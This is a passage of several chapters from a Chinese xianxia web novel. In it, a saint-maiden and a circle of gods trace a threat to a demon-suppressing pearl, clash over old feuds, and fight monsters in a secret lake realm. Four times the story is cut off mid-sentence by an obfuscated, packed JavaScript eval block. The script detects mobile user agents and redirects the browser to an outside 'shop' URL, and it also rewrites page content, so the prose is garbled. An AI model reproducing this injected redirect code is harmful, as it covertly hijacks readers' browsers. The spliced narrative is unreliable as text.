看这些幽祟的实力,显然与碧火台上的那两只不在同一等级,很快便被法术击中,落进了一处寂静无波的沉水湖中。 有了浮生镜确切的指引,他们原本只需顺藤摸瓜,寻找可能与镇幽珠失窃一事相关的线索。 可惜的是,不论是珞瑶还是众神,都没有在记忆里搜寻出这片湖泊的影子。 “按照镜中呈现出的画面,此地应该是魔界的某处秘境。”沧丞道。 各界皆有自己的秘境,这些秘境有的暗含珍稀灵宝,有的隐匿着通天机缘,一般是各界留给本族天骄历练或提升修为的地方,而不会公诸于众。 如果是这样,一切就都说得通了,至于那两个高阶幽祟与被困在秘境中的小怪物有没有关系,还要看下一步细查。 珞瑶很快向驻守魔界的圣境使者传了音,令其先去查探。 “魔族在各族中实力最强,有圣境使者在,灭几个低等的幽祟还不在话下……”朝梧本想宽慰,话到一半又想起另一茬,随之神情一滞。 在几人的注视下,她叹了口气,坦诚道:“我本想说此事实情不明,你大可先等圣使查探一番,之后再亲自去也不迟,可转念一想,你还是尽早出面的好。” 毕竟,魔界现在当家的那位性子孤僻,最忌遭人怀疑,若没有珞瑶在,圣境使者未必应对得来。 话止于此,气氛变得微微凝滞,其他人都领会了朝梧的意思,想起那些不太愉快的往事,也都默契地没有点明。 几人议论之际,从珞瑶到来便一言不发的羲泠脸色不大好看,低垂的眸子里情绪复杂,似忐忑,又似不安。 一副心事重重的模样,却又不肯宣之于口。 “我累了,先回去歇息了。” 羲泠说道,随后不顾沧丞等人的挽留,步履匆匆离开了。 众神没想到她会突然离去,也没能拦住她。朝梧疑惑道:“这是怎么了?方才还好好的……” 望着那道越来越远的背影,羲洵神情平静,仿佛毫不意外,眸中若有所思。 他收回目光,摇了摇头,“许是又胡思乱想了什么,由她去吧。” 众神与珞瑶相识已久,本不拘泥于什么礼数,况且他们早就了解羲泠的性子,便也没有在意,继续说起正事。 …… 浮生镜关闭后,珞瑶不欲多留,准备回圣境去,临离开前不知想起什么,又停下了步履。 “你洞府的那片银湖,里面还有没有鱼?”她回头望向沧丞,问。 “有,当然有。”沧丞下意识回答,旋即便明白了什么,笑起来,“哦,是你家那只小红猫又嘴馋了吧。最近神山灵气旺,鱼全都养肥了,你钓多少都管够。” 他这样说,珞瑶便没有客气,到银湖边捕了几条小鱼,与诸神告辞后,便只身回澜渊圣境去了。 珞瑶走后,神山归于平静。羲洵准备回居处,却被沧丞先一步拦住了。 “珞瑶离开前带走的鱼足有七八条,羲洵,你就没什么想说的?丹狸可没那么大的胃口。” 面前人立在原地不让,满脸按捺不住的八卦之色,羲洵无可奈何,只有坐下来,“有话直说。” 沧丞似乎就等着他这一句话,也跟着打开了话匣子:“珞瑶从外面带回去了一只剑齿白虎,如今就养在她的圣女殿,此事六 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17202250|197243||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 界皆知,你去了一趟澜渊,难道没有见到?” 羲洵听后动作微顿,几不可察地走了一下神。桌上到处是被打乱的棋子,他拈起一颗,无意识在指尖摩挲。 天地人人关注澜渊圣境,就算是神族也一样,对此,羲洵自然不会不知情。 不仅知情,就连那只白虎什么模样、珞瑶在哪儿遇上的,他都一清二楚。 不论心里如何想,只一瞬的功夫,羲洵便敛下了所有情绪,信手在桌面上一拂,凌乱的棋子便被分成两部分,变得黑白分明了。 “那只白虎是她从幽祟手里救下来的,以前也不是没有过,你莫要大惊小怪。”他如常道。 那就是没见到了。 沧丞恨铁不成钢地肘了他一下,神神秘秘地压低声音:“那怎么能一样?你别忘了,剑齿白虎是高阶灵兽,可是能化作人形的。” 能化人形,意味着有情有欲,懂得天理伦常之事。 那白虎在澜渊养伤,倘若容貌不俗、性情柔软,抑或有什么稍稍吸引珞瑶目光的优点,可不就成了威胁羲洵的对手? “我知道你重视和珞瑶的婚约,但你怎么半点危机感都没有?如今珞瑶情窍未开,是不懂得什么,可那些年轻的灵宠精怪最是天真活泼,且大多爱美,万一……” 沧丞苦口婆心地说着,羲洵垂着眼眸,不像听进去了多少,反而沉浸在了自己的心思里。 不知想到什么,他脸色未变,指骨却微微泛白,悄然暴露了他的失态。 沧丞没有察觉出羲洵的异样,仍在喋喋不休,朝梧见势不对,忙上前打断了他的话:“他们两个的私事,你管那么多做什么?实在是聒噪。” 被这么一训,沧丞反应过来,当即不再说了,羲洵的思绪也被拉了回来。 他很快调整如初,无奈道:“她不会,你就莫要操心了,与其想这些有的没的,还不如过来,把这些你下过的棋子收好。” 说着,羲洵随手拈起一颗,向他扔了过去。 沧丞接住了,十分识趣地没有将上个话题继续下去,走到他对面石桌前:“是是,我来收,我来收……” 神明各司其职,今日难得空暇凑到一起说闲话,三言两语间,气氛随着放松下来。 朝梧抱臂在旁看着,饶有兴趣地提起另一茬:“不过羲洵,今日事发突然,你怎会知道有人想对镇幽珠下手?算算日子,现在离你正常出关的时候还早。” “闭关时日有长有短,因实际而定,哪有什么定例。我不过是偶然撞上碧火台出事,动身比你们快一步罢了。”羲洵道,口吻一如平常。 他的回答全无破绽,朝梧和沧丞听了也没再深思,后者手指轻点,两只棋篓便无声化形,如水一般原地消融了。 5. 既见浮生(五) 次日,一缕狐影跃过云间,自神山飞往孤妄崖。 荆棘高墙外一片青光,是神明的气息,魔界守卫纷纷跪迎。羲泠降临界主殿,却没有使人通传,而是轻车熟路地踏过熔岩长桥,直奔暗域深处。 她进入界主殿,目光冷冷,投向银阶上那人,“昨日碧火台上的事,与你有没有关系?” 见气氛不对,一众侍从垂着头,无不噤若寒蝉,只听见头顶响起一声漫不经心的嗤笑。 满堂血色烛火骤然亮了起来,银阶之上,男人转过了身,深邃的五官隐在暗处,看上去又阴又冷。 “神君为何怀疑我,因为我是魔界界主?还是——” 他直视着羲泠,唇角勾起笑,却没有深达眼底,“因为我为天道不容,怎样都是错?” 冷光一闪,原本立在殿下的羲泠消失不见,下一秒,她化作一缕烟尘飞上重重高阶,手指纤细却无比有力,一把扼住了男人的咽喉! “神君息怒!神君息怒!” 侍从们见状大惊失色,生怕自家主上因神明之怒有个三长两短,黑压压跪了一地。 羲泠不理会他们,紧紧逼视着近在咫尺的人,声音从齿缝间挤出来:“自从你继任魔尊之位,整个魔族行事愈发孤僻自由,夜絮,你问我‘为何怀疑’?” 要知道,被幽祟附身的那两个冤大头在魔界并非无名小卒,虽不是什么长老级别的人物,但也是有头有脸的一方魔君,从前还在夜絮手下办过事,是他的近臣。 此等修为的人,怎就那么轻易地遭了暗算?更别说孤妄崖为防幽祟入侵,处处布有天罗地网。 羲泠还记得五千年前的那一天,天地失色,穹空像被愤怒的天雷劈开了一样,阴沉得吓人。 空中黄沙翻涌,寒风猎猎,那时的夜絮尚是神明,他逆风直上,却被雷光狠狠斩落,从云顶跌进了泥土里。 神骨不存,又遭天道除名,剔出神谱。 从那一刻起,天地间再也没有了巫神。 后来,漫天下起了大雨,他就靠在她怀里,满身都是雷劫留下的鲜血和伤痕,虚弱到极致时,却是肆无忌惮地大笑出声。 “天道,哈哈哈哈——” 雨势倾盆,淋得人满脸都是。他笑累了,通红的眼睛一眨不眨地盯着天,低低呢喃:“与其像笑话一般活着,我还不如将这六界搅个天翻地覆……” …… 想起那些过往,羲泠呼吸起伏,“除却神山,魔族的实力在各界中最强,铜墙铁壁号称坚不可摧,这次就偏偏被幽族趁虚而入,你要我如何相信你?” 夜絮依然坐在界主位上,他被掐住脖子,面容已然泛白,不可自控地露出痛苦之色,又快意般笑了起来。 他抬起眼,直视羲泠愤怒的眼眸,嘲讽道:“那便不信吧,反正,神君是从未信任过我的……” 羲泠被激得心头抽动,盛怒之下竟没有松手,而是更加收紧了手指。 就在她险些丢了理智的时候,殿外暖光渐起,一声厉喝自遥远处传来:“羲泠,住手!” 羲洵及时赶来,落地后衣袖一挥,银阶上失控的羲泠便被一道光晕隔开,猛地向后退了好几步。 直至此刻,羲泠的理智终于回笼。没想到羲洵会来,惊异之余,她目光不甘地收回,复又投向界主座上的夜絮,留下一句警告。 “你要是敢背叛投敌,我一定亲手杀了你。” 说罢,羲泠头也不回地离开了界主殿,身后裙角翻飞,利落地掠了过去。 鸦雀无声的大殿里,唯有风声簌簌作响。 不知过了多久,夜絮终于平复了呼吸,低低出声:“羲洵,你说,我还要做什么以表忠心?” 他自嘲地一哂,自问自答:“……再飞升一次吗?” 见他如此,羲洵眸色复杂,宽慰道:“此次是她太冲动,你多担待,回去之后,天罚自会给她教训的。” 昨日看羲泠的反应,他就担心她会做什么不冷静的事,所以时时都关注着,果不其然被他猜中了。 夜絮苦笑着摇了摇头,抬起眼,“碧火台上发生的那件事,你应该也怀疑与我有关吧。” 这次羲洵沉默了,久久未言。 见他不回答,夜絮也没有继续追问,堪称平静地靠在椅上,面容被烛火映得明暗。 “其实昨日太阳落山之前,珞瑶就已经来过一次了,想必你们想问的是同一件事。” 许久,夜絮站起身来,身影隐在光下,分外萧索,“幽祟很少踏足孤妄崖,就算有,也早被镇守各方的长老连同圣使诛灭了。你们说的那件事我不清楚,不过最近一次发现幽祟出没的痕迹,是在挨近灵界的隐月湖底。” 隐月湖。 看来昨日在浮生镜中看到的地方,就是这里了。 羲洵离开后,众侍从匆忙赶上来查看夜絮的伤势,后者立在原地,满面疲惫,又夹杂着几分模糊的情绪。 他闭上眼,低喃道:“恨吧……比起忘记我,还不如恨我……” …… 越出魔界后,羲泠并未只身离去,而是在魔界外等待着羲洵,后者与她汇合,但脸上失去了平常的笑意。 “你怎么会跟过来?” “我不过来,难道就看着你闯祸?” 羲泠自知理亏,静静垂眸不语。 羲洵面色仍不见好转,沉声道:“神明不可滥开杀戒,更不能沾上无辜者的血,若你方才当真对夜絮动手,且不说天罚如何,你自己就能心安吗?” 世间生灵一旦飞升成神,就要严守神格纯粹,昔日的家世身份皆不存,血缘亲情也会随之渐渐变得淡薄,就像他们,即使曾为兄妹,但如今更是两位独立的神祇,遇上关键时刻,谁也没有权力干预谁。 因此,过去兄长教导小妹的规矩,总归不如天道制约神的守则管用。 羲洵说完该说的话,心中有气也散得差不多了,见面前人不吭声,他的语气有所软化,“好了,今日之事就当是个教训,回去吧。” 说罢,他准备离开,羲泠立刻问:“你不和我一道?” 羲洵摇头,“孤妄崖地形诡谲,幻象丛生,我先去隐月湖附近探探路,如有问题,也好提前知会珞瑶。” 这本不是神明的分内之事,羲泠听了再也忍不住,气愤地直呼其名,“羲洵!你还要因为那一纸婚约徒劳多久?” “你说什么?”羲洵定住脚步。 他性子温和,平时没那么多忌讳,但这一个“徒劳”却正正戳着了他的底线。 被他直直盯着,这一次,羲泠却没有退让 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17202251|197243||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,“你做了那么多,可她永远不会知晓,这难道不是徒劳吗?你那时——” “羲泠。” 羲洵没有大怒,这一声轻唤却承载着兄长乃至神明所有的威严,立刻就将羲泠带着怒气的话语堵了回去,不敢再说了。 两人立在云彩搭成的浮桥边,一时无话。 许久过去,羲洵才开口,口吻是前所未有的认真,“身在神位,当为天下苍生着想,那些事是我自己的选择,本就不该由她背负责任。” “以后别再提起了。” 他望着羲泠,最后一句似劝诫,又似警告。 …… 另一边,澜渊圣境。 天色渐暗之际,浓云漫卷,朦朦胧胧地看不清晰,珞瑶独自坐在藤条桌前,一手拄着头,不过在此小坐片刻,困意竟席卷而来。 没过多久,她再度陷入了梦境。 - 黄昏时分,羲洵立在初昙殿前,却被一人挡在了门外。 那人身量与羲洵相仿,却瞧着脸生,看上去才病愈不久,一双暗红色的瞳眸如幽暗中的烛火,他站在羲洵对面,脚下分毫不肯退让。 看着两人对峙,丹狸在旁边急得团团转。 没过多久,里面传来了女子的声音,微微发哑,明显听得出虚弱,“我伤势未愈,羲洵,你回去吧。过几日我再向各界传音,共议碧火台之事。” 门外,羲洵紧皱着眉,饶是他平日待人随和,但当看见一个完全陌生的男人出现在圣女殿,还拦着不让他与珞瑶相见,又怎能心平气和地接受? 羲洵忍着愠意,少有地失了风度,“你不愿见我,那他呢?他就不会打扰你吗?” 目光与对面人无声对峙,开口问的却是她。 穹光散去,天边愈发昏暗。里面没有再传来话语,却非沉默,而是响起了隐隐的咳嗽声。 羲洵就在外面,自然听见了那道压抑的动静。他眉间神印明暗,撑在廊柱上的手指蜷起又展开,最后终是念着她的身体,妥协地叹了口气。 “罢了,你先好好修养,定要服下我送来的丹药,护住元神……你的性命,比一切都重要。” 嘱咐过后,他转身离去,主动熄灭了将起的狼烟。那背影依旧挺拔如松,却显出几分难言的冷清。 在走出庭院前,羲洵停下了脚步,片刻,声音复又在静谧中响起。 他说:“阿瑶,我知道天意难测,婚盟并非你愿,若有一日你厌倦了,记得告诉我,我们……随时可以解除。” 没有愤怒,亦没有什么威胁或指责,仿佛只是平静地征求她的意见,等待她的回音。 …… 男人被传召入内时,珞瑶已经坐在了树藤桌边,身上的单衣素白如银,仍沾染着星星点点的猩红血迹。 “我让丹狸给羲洵带话,并没有让你露面。” 因为重伤初醒,她面色苍白,眸光却不见涣散,反比平常更多了冷冽。 男人低眸望她,那双红眸在灯盏下愈发显得幽深,“圣女不愿与神君相见,既然如此,他看到了我,不就更能死心离开了吗?” 殿中无人接话,只剩下满室花草翕动的轻响。 半晌过后,男人终是屈服,向珞瑶低下了头:“是我错了,求圣女宽恕。” 6. 既见浮生(六) “珞瑶?” “珞瑶,快醒醒!” 珞瑶在呼唤声里苏醒,睁开眼,丹狸已经跳上坚固的树藤桌椅,就坐在她面前。 “珞瑶,你最近是不是太累了?坐着都能睡着。” 它担忧地歪着头,两只毛绒绒的耳朵摇晃了两下,珞瑶直起身体,睡意也很快随之而去了。 不必丹狸问,就连珞瑶自己也发现了,最近她确实容易犯困,而且每每睡着,总是会陷入不同的梦境。 在梦中,她看到的不是发生过的事,但十分逼真,几乎要让她担心与现实有什么关联——自己为何会重伤,还有,那个红瞳男人是什么人? 或许真如丹狸说的那样,近日事务繁多,自己忧思过重了。 这时,一只传音蝶悄然飘进来,敲响了悬挂在空中的铃兰,珞瑶动了动指尖,那蝴蝶便飞到了她耳边,扇动着轻薄的翅膀。 珞瑶屏息静听,从传音蝶口中得知了消息——就在刚才,羲泠降临孤妄崖,出手伤了魔尊夜絮,羲洵及时赶到,叫停了二人的争执。 虽然不在场,但珞瑶基本能猜到事情的来龙去脉,对此也不感到意外。 毕竟,羲泠与夜絮的矛盾由来已久,就连羲洵也绕不开。 一道稚嫩的声音适时响起,含着好奇,“珞瑶,这其中到底有什么故事?” 丹狸年纪小,对这些六界旧事自然不知情,珞瑶缓缓吐了口气,心头澄明如镜。 自上古神陨落后,六界再无天命之神诞生,修炼者通过雷劫修得神骨,得以登临神位,现下神山在位的八位神祇,便都是从各自的族群飞升而来的新神。 其中,光明神羲洵与音律神羲泠曾是一母同胞,皆出身于蓬莱仙岛。 五千年前,天地间爆发了一次罕见的幽祟大潮,仙族首当其冲,遭遇到了前所未有的袭击,圣使没来得及将消息传回澜渊,便淹没在了汹涌的祟潮中。 事急从速,那时的仙主——也正是羲洵兄妹的母亲,为了保住仙界,她率先向最近的孤妄崖传音,然而,当时的魔尊荒废政事,整个魔界局势混乱,音信传至界主殿许久才得以面见主上,等到军令下达时就更不知今夕何夕了。 为护族中生灵,老仙主始终守在最前线,待魔族的援兵姗姗到达时,她也神魂尽散,力竭而亡。 仙尸十万具,血流三千里,在那之后,仙魔两族的关系便一落千丈,至今也未能修补好裂痕。 往事沉重,丹狸也老实许多,窝在珞瑶身边小声嘀咕:“老魔尊害死了老仙主,现在的魔尊又是老魔尊之子,怪不得……” 提起夜絮,珞瑶目光动了动,变得有些复杂。 很久之前,天地间除了现在的八神,还有第九位神明。巫神夜絮司掌众生梦境,精通幻梦之术,那时他与羲洵齐名,共同象征着现存神族的修为巅峰。 只是后来,他因天命的诅咒从神位陨落,又重新回到了魔界。 云光飘摇,殿外起了微风,空中隐隐飘着一股药草磨碎的香味,清新怡人,又含着隐隐的苦涩气。 闻到这阵气味后,珞瑶终于想起了被自己救回圣境的剑齿白虎,身形随之一闪,来到了后殿的花园。 仙花灵草筑成的圆台中央,白虎安静地蜷缩成一团,正在沉睡之中,唇吻两侧锋利的剑齿也乖巧地垂了下去。 珞瑶感知到它身上重伤的血腥气已经逐渐消退,她走近两步,两指伸进它毛绒绒的颈间,轻探脉搏。 珞瑶在冥界边缘救下它的时候,它双眼被毁,四条腿折断了两条,后背的毛发也被烈火灼烧出一片焦黑色,浑身上下伤痕累累,触目惊心。 幸好澜渊圣境灵气充盈,再加上众多药草的悉心照料,最后总算不负努力,将他从鬼门关拉了回来。 现在,它伤势基本痊愈,身上重新长出了雪白的毛发,虽然依旧精神不佳,时常昏睡,但已经能正常吃饭走路了。 指下血管正有力地跳动,昭示着蓬勃的生命力,珞瑶眉头微舒,收回了手。 澜渊圣境地界广阔,殿宇山泽绵延千里,她大多时候繁忙,所以平时很少来探望白虎,以至于过去这么久才想起,自己竟连它清醒时的模样都没有见过。 不过听丹狸说,它醒来的模样,并不像它沉睡时这样安分。 “珞瑶,你打算什么时候送它走?” “你都不知道,它总吓我,那对虎牙那么长,那么尖……” 想起那天白虎张开血盆大口时恶劣的表情,丹狸躲在珞瑶肩头,气得冲它直哈气。 这些日子因为收留白虎的缘故,丹狸的“领地”被人入侵,它有怨气也是正常的,珞瑶一笑置之,心中却莫名想起了方才打盹时做的梦。 梦里,那人站在初昙殿前与羲洵对峙,最后不欢而散。 她不知梦境真假,亦不清楚那人是谁、来自何方,不过——这种私事被人自作主张插手的感觉,委实令她不大舒适。 或许,以后她该更注意一些。 思及此,珞瑶心中已有了决定。她转身离去,遂了丹狸的意:“近日碧火台不安稳,令澜渊各处加强警惕,待小白的伤彻底养好,就让它离开吧。” “遵命!” 丹狸听了喜不自胜,欢快地跟在她身后,离开了庭院。 一人一猫的声音渐渐远去,草木摇曳,静谧得如往常一样。 白虎依然卧在花丛间,某一刻,它意识归笼,悄然半睁开双眼。 那暗红色的瞳孔如两团焰火,细微地动了动。 …… 翌日,珞瑶前往孤妄崖,亲探隐月湖底。 以往百年一苏醒的隐秘之境,这次为了圣女提前开启。随着暗光闪现,黑沉沉的湖泊渐渐变得清澈,湖心漩涡搅动,最后形成了一扇无形的水门。 珞瑶化作真身,纵身跃入水中。 隐月湖名为“湖”,穿过又深又冷的湖水,里面却是别有洞天,水底没有水,反而如岸上的陆地般草木茂盛,有花草,有生灵,俨然一个隔离在世外的小世界。
35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17202252|197243||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 比起湖泊,这里更像个遮天蔽日的丛林。 珞瑶身边跟着驻守魔族的圣境使者,对隐月湖一带颇为了解,“这里地形罕见,湖水也并非普通的水。凡是被打落进入湖底的幽祟,魔族不必出手消灭,只消将它们关在这里,不出一月便会被弥漫的水汽侵蚀殆尽。” 珞瑶静静听着,心道:难怪。 先前她虽没有亲自来过,但也有所耳闻,知道魔界有一片能够消灭幽祟的秘境,效果卓然,原来就是这里。 如此,她在浮生镜中看到的景象就可以解释了——正是因为隐月湖有这一功效,所以魔族才会当发现潜逃入界的幽祟时,将它们全部赶进这里。 “你的意思是,这里不会有我们想找的东西?”珞瑶问。 圣使亦不敢断言,跟在她身边,缓缓向深处走,“以往被困在湖底的幽祟都翻不起什么风浪来,只有等死的份,若出现在碧火台上的那两个曾经来过这里,想必也难逃一死……” 正说着话,周遭突然起了风,吹得呼呼作响。 珞瑶脚下蓦地停住,眸子眯了一下,“来了。” “什……” 她话语简短,圣使还没来得及反应,下一秒,就听见不远处传来幽祟的嘶吼声。 山野尽处,黑光乍亮。 秘境中有人闯入,原本沉寂着的怪物纷纷被惊醒,霎时间涌出山洞,向着两人席卷而来! 珞瑶定睛一看,这些幽祟数量虽多,但肉身大多残缺,应是已经被湖底的水汽侵吞了一半,只剩最后一口气苟延残喘。 然而,事情远没有这么简单,圣使指着祟潮中某处,声音难以控制地变得慌乱,“那是——” 珞瑶盯着那明显更加庞大显眼的怪物,心绪发沉。 那是更高阶的幽祟,外形与那天出现在碧火台上的两个如出一辙,而且与周围其他幽祟相比,它们的躯体完好无损,没有半点被水汽侵蚀的伤痕。 隐月湖水伤不到它们。 珞瑶手臂一抬,流水般的广袖中登时飞出一条绸带,隐约泛着柔和的莹蓝色光泽,正是澜渊圣女用于降服幽祟的法器,轻光绫。 她飞上高空,毫不胆怯地冲进烈光中央,圣使亦驱动法力,紧跟在她身后攻去! 湖水变得汹涌,在秘境顶空激荡不止,暴烈得犹如海啸爆发一般,到处是白花花的水浪。 绫罗萦绕在珞瑶周身,分明是软绸的材质,却有着钢鞭一样的力道,豁然将密密麻麻的祟潮抽出了一道裂口。 在两人的默契配合下,原本猖狂的黑潮露出颓势,逐渐有了消退的迹象,再度诛灭一波幽祟后,珞瑶落回地面,微微喘息。 不知为何,她忽然感到后背像撕开了个风口子一样,尝到一阵寒至心头的疾风。 珞瑶有所觉,缓缓转过头去,方才全力歼敌的圣使正直直立在后面,眼中无神,身上自内而外透着一阵诡异的黑气。 下一刻,他突然暴起,方向却不是朝着那群幽祟,而是冲向了珞瑶! 7. 既见浮生(七) “嗖嗖——!” 强势的力量袭来,竟是毫不留情的杀招,珞瑶迅速躲开,向后急退,厉声喊出圣使的名字:“寒丘!” “寒丘,你好好看清我是谁!” 奈何圣使邪气入体,早已被附身的幽祟控制了心神,听了珞瑶的话后没有任何反应,依然气势汹汹地向她逼近。 珞瑶试图唤醒他未果,最后被迫出手,却又无法使出全力,只有一边控制着力道出招防御,一边穿梭在密林间与他周旋。 要是放在以往,珞瑶想制服手下一个圣使是轻而易举的事,但她不愿伤他性命,本就已经束手束脚,同时还要抽出精力对付山原间源源不断涌上来的幽祟,饶是她修为再高深,此刻也是分身乏术。 时间一长,珞瑶明显吃力起来,反观对手全无疲惫之态,仿佛一群只为杀戮而生的机器。 在这样下去,她和寒丘都要死在这里。 珞瑶暗暗一咬牙,随后双手掐诀,短短一息之间,镇幽珠便在虚空里缓缓浮现出来,飘进了她的手掌心。 光华漫天,圣使被重重震飞了出去。珞瑶十指结印,手腕一翻,灵珠便被重新推向高空,在圣光里映上重重叠叠的昙花影。 就在珞瑶默念法诀,准备彻底解决眼前的麻烦时,意外发生了——从来力量稳定的镇幽珠,此刻悬浮在空中,光芒微弱地闪烁起来。 这突如其来的变故令珞瑶始料未及,旋即动作比意识快,再一次重复施法。 掐诀,结印,掐诀,结印。 灵珠放出几道虚弱的镇幽法阵,依然能够艰难地执行圣女的指令,但不知何时,已经失去了原本熠熠的光泽。 回神的那一瞬,珞瑶的脸色缓缓变白,原本还算平定的心紧跟着颤抖起来。 澜渊圣境的立身法宝,抵御幽祟入侵的镇幽珠,庇护天地数万年的镇幽珠。 它的灵力正在流失。 …… 先前被逼退的祟潮恢复了力量,即使方才被斩杀了一部分,现在剩下的也不在少数。 眼见一旁被击飞的圣使复又向自己逼近,珞瑶顾不得其他,忍着一团乱麻的心绪,继续驱动起那奄奄一息的镇幽珠。 不论如何,好歹能拖延一段时间,但事到如今,她已不能通过唤醒寒丘来全身而退,唯有寄希望于隐月湖外。 珞瑶当机立断,指尖一点光芒化作传音蝶,这时候,一只温热的手掌蓦地抵上了她的后心。 刹那间,珞瑶只感觉一股柔和却强势的气息被灌进了她体内,让几近耗竭的灵台如枯木逢春般恢复,再度变得充盈起来。 一道熟悉的声音在身后响起:“凝神,我为你护法。” 分辨出来人是谁后,珞瑶迅速冷静下来,依照他的话屏气凝神,全力驱动起镇幽珠来。 有了身后强有力的支持,她的灵力渐渐变得平稳,轻光绫裹挟着莹蓝色的光抽向山林深处,惹得倦鸟惊飞,驱散了缭绕的云雾。 眼前状况紧迫,必须要尽快把幽祟全部消灭,否则留在这隐月湖底,终究是个隐患。 珞瑶眸中闪过凌厉,再度向祟潮冲去。 …… 不知过了多久,天地终于归于平静。 没有了主人的操控,绫罗轻飘飘地落了地,珞瑶僵直地立在原地,半晌才后知后觉发现,原来自己已经没了力气。 眼前一阵天旋地转,她扶着盘虬的树藤,缓慢地坐到地上,手中握着那颗虚弱的灵珠。 羲洵目睹了方才的意外,亦深知这场意外的严重性,却一句话都没有问,就那样安静地陪着她,一切决定都等她先开口。 不知过了多久,珞瑶凌乱的呼吸总算平复下去,面上却依旧不见血色,白得像纸。 她抬起眸子,声音嘶哑:“这件事,绝不能昭告天下。” 倘若镇幽珠灵力衰退的事被宣扬出去,六界必将动荡不安,难有宁日。 上至界主长老,下至生灵万物,整个天地,都将陷入无穷无尽的恐慌。 “我明白。”羲洵轻道。 他轻轻一叹,一手缓缓靠近,隔着一寸距离,用掌心覆上珞瑶的面容。 浅金色的光芒溢出指缝,像轻柔的薄纱,千丝万缕般流向珞瑶的方向,拭去她唇角的血迹。 没过多久,她衣裙上稀碎的伤痕、尘灰,也被神光轻轻擦去了。 等到灵台稳定下来,珞瑶的精神明显恢复了一些,她不肯死心,想再次催动镇幽珠的力量,可一连尝试了好几次,始终没有出现任何进展。 投在地上的灵昙影子无力地轻晃着,她置若罔闻,欲消耗好不容易恢复起来的灵力继续试,最后一次结印立阵时,被羲洵握住了手腕。 他目光紧锁着她苍白的面容,“别再试了,你受不住的。” 两人的目光在空中交汇,无声对峙半晌后,是珞瑶先移开了视线。 经他阻拦,她理智回笼,终归是熄了结印的心思。 镇幽珠失灵了,但界壁尚存,她上天入地,走遍整个六界,总能找到挽救的法子。 也许会找到。 至此,珞瑶找回了理智,从地上重新站起来。 两人留在原地之际,空中湖水漾开一道涟漪,沧丞事先收到了羲洵的传音,自神山而来,落地后看见眼前一片狼藉,树梢和地上还淌着没能消散的黑血。 “这是出了什么事,怎么弄成这样?” 沧丞意外,视线无意一扫,发现珞瑶掌心的灵珠忽明忽灭,险些一口把自己舌头咬掉。 这,这这这—— 他已经亲眼所见,眼下的情形就不必多言了,珞瑶道:“有高阶幽祟藏在这里,方才附身在了寒丘身上。” 圣使被轻光绫击中,在体内邪气被逼出的时候就晕了过去,此时依然靠在树下不省人事。 沧丞过去瞧了一眼,虽没有大碍,但也不适合继续留在这里了。 于是,水神打了个响指,默默把人送出了隐月湖。 珞瑶没有询问羲洵是如何得知的消息、为何会适时赶来,她被镇幽珠的事占据了全部心神,根本没有理会其他的精力。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17202253|197243||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' /p> 幽祟本性凶残嗜杀,还拥有极强的繁殖能力,隐月湖底之所以会出现数量那么庞大的祟潮,应该就是它们短时间内繁衍的缘故。 既然已经了确定这里存在高阶幽祟,为了排除风险,她必须把这里全部走一趟。 珞瑶抿着唇,将手中的珠子收回衣袖。 她的灵力已然恢复了七八成,即便镇幽珠力量微弱,有羲洵和沧丞的助力,她也足以应对接下来可能出现的突发情况。 …… 休整一番后,三人继续向前。越过树林后,映入眼帘的是一片冰山雪海,尽头冰冻形成的断崖通体剔透,脚下的谷地一眼望不到底。 死一样的静寂,仿佛不存在温度,更没有花草生灵。 一行人来到冰崖边,行走间边缘的雪粒冰块不断滚下去,却听不见落地的声音。 沧丞扫视过四周,道:“这湖底就这么大,我们已经走过了前面的所有地方,若说还有哪里能藏匿幽祟,便只剩下此处了。” “一探便知。”珞瑶道。 说完,她手一挥,一道法阵缓缓形成,如花影摇曳般投射在地上。 紧接着,这道法阵在空中越升越高,越变越大,最后生长成了一个足以遮天蔽日的规模,直直向山谷深处砸去! 法阵落进去,俄顷,深不可测的谷底传出几声尖厉的嘶鸣,随之泛起一片淡淡的赤光。 “果然藏在这里……好在数量不多。”沧丞见状道,羲洵的心也跟着松弛了一些。 